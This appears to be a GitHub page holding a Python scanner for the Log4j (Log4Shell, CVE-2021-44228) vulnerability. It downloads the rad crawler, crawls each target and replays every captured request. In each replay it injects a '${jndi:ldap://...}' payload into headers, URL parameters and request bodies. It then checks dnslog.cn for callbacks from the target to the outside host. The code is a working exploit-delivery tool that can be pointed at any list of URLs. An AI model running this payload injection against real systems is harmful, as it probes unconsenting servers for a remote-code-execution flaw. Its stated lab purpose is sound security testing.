-
Notifications
You must be signed in to change notification settings - Fork 4
/
scan_with_rad.py
194 lines (168 loc) · 7.33 KB
/
scan_with_rad.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#!/usr/bin/python3
# coding: utf-8
# Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab-main 靶机
import requests
import os
import json
import sys
import time
import queue
import warnings
import argparse
import platform
import zipfile
import base64
warnings.filterwarnings(action='ignore')
current_os = platform.system().lower()
class ArgumentParse:
def __init__(self):
self.args = self.parse()
self.args.urls = [self.args.url] if self.args.url else []
if self.args.file:
with open(self.args.file, 'r', encoding='utf8') as f:
for url in f.readlines():
self.args.urls.append(url.strip())
if not self.args.payload:
self.args.dnslog = Dnslog()
self.args.payload = '${jndi:ldap://' + self.args.dnslog.domain + '/exp}'
print(f'using {self.args.payload}')
def parse(self):
parser = argparse.ArgumentParser(description='')
parser.add_argument("-u", "--url", dest="url", help="Check a single URL.", action='store', default=None)
parser.add_argument("-f", "--file", dest="file", help="file containing url.", action='store', default=None)
parser.add_argument("-c", dest="chrome_path", help="Specify the chrome path.", action='store', default=None)
parser.add_argument("-p", "--payload", dest="payload", help="Specify the payload like ${jndi:ldap://xx}.",
action='store', default=None)
args = parser.parse_args()
return args
def download_rad():
file = 'rad_{os}_amd64.exe'.format(os=current_os)
url = 'https://download.xray.cool/rad/0.4/rad_{os}_amd64.exe.zip'.format(os=current_os)
if current_os != 'windows':
file = file.replace('.exe', '')
url = url.replace('.exe', '')
print(file)
while True:
if not os.path.exists(file):
print('Downloading ' + file)
time.sleep(5)
r = requests.get(url)
with open("{}.zip".format(file), "wb") as f:
f.write(r.content)
with zipfile.ZipFile('{}.zip'.format(file), 'r') as f:
f.extractall()
else:
break
class Dnslog:
def __init__(self):
self.s = requests.session()
try:
req = self.s.get("http://www.dnslog.cn/getdomain.php", timeout=30)
self.domain = req.text
except requests.exceptions.ConnectionError:
exit('dnslog ConnectionError. Try using the -p parameter to specify a payload containing other dnslog or ip')
def pull_logs(self):
try:
req = self.s.get("http://www.dnslog.cn/getrecords.php", timeout=30)
return req.json()
except requests.exceptions.ConnectionError:
exit('dnslog ConnectionError. Try using the -p parameter to specify a payload containing other dnslog or ip')
class Log4Scan:
def __init__(self, args, target):
self.args = args
self.queue = queue.Queue()
self.target = target
def craw(self):
print('start to craw {}'.format(self.target))
rad_cmd = 'rad_{os}_amd64.exe'.format(os=current_os) if current_os == 'windows' else './rad_{os}_amd64'.format(os=current_os)
cmd = '{rad_cmd} --json-output {target}.json --target {target}'.format(rad_cmd=rad_cmd, target=self.target)
status = os.system(cmd)
if status == 0 and os.path.exists('{domain}.json'.format(domain=self.target)):
with open('{domain}.json'.format(domain=self.target), 'r', encoding='utf-8') as f:
lines = f.read()
data = json.loads(lines)
for i in data:
self.queue.put(i)
else:
exit('error')
def repeat(self):
while True:
if not self.queue.empty():
package = self.queue.get()
# print(package)
url = package['URL'].replace('https', 'http')
method = package['Method']
headers = package['Header']
headers['User-Agent'] = self.args.payload
headers['Referer'] = self.args.payload
data = package['b64_body'] if 'b64_body' in package.keys() else None
try:
resp = None
if method.lower() == 'get':
if '=' not in url:
continue
url = self.insert_payload(url, url=True)
url = str(url)
resp = requests.get(url=url, headers=headers, timeout=30, verify=False)
elif method.lower() == 'post':
if not data:
continue
data = base64.b64decode(data).decode("utf-8")
if '=' not in data and ':' not in data:
data = self.args.payload
else:
data = self.insert_payload(data)
resp = requests.post(url=url, headers=headers, data=data, timeout=30, verify=False)
print(resp.status_code, method, url, data)
except Exception as e:
print(e)
finally:
if hasattr(self.args, 'dnslog'): # 判断是否使用默认的dnslog
if self.queue.qsize() % 10 == 0: # dnslog请求次数过多会被封
dnslog_result = self.args.dnslog.pull_logs()
print(dnslog_result)
if dnslog_result:
print('==='*10)
print(f'{self.target} is vulnerable.')
exit('The vulnerability exists in the link within the last ten requests')
else:
break
def insert_payload(self, data, url=False):
try:
# 替换json格式
if data.startswith('{') and data.endswith('}') and ':' in data:
data = json.loads(data)
for key, value in data.items():
data[key] = self.args.payload
return data
# 替换字符串形式
row = ''
data = dict(i.split('=') for i in data.split('&'))
for key, value in data.items():
data[key] = self.args.payload
if url:
row += key + '=' + data[key] + '&'
if url:
return row.strip('&')
return data
except Exception as e:
print(e)
return data
if __name__ == '__main__':
if len(sys.argv) <= 1:
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
print('''
_ _ _ _ ____ ____
| | ___ __ _| || | (_)___ \ / ___| ___ __ _ _ __ _ __ ___ _ __
| | / _ \ / _` | || |_| | __) |___\___ \ / __/ _` | '_ \| '_ \ / _ \ '__|
| |__| (_) | (_| |__ _| |/ __/_____|__) | (_| (_| | | | | | | | __/ |
|_____\___/ \__, | |_|_/ |_____| |____/ \___\__,_|_| |_|_| |_|\___|_|
|___/ |__/ by [email protected]. Illegal use is prohibited.
''')
download_rad()
arguments = ArgumentParse()
for url in arguments.args.urls:
log4j2scan = Log4Scan(arguments.args, url)
log4j2scan.craw()
log4j2scan.repeat()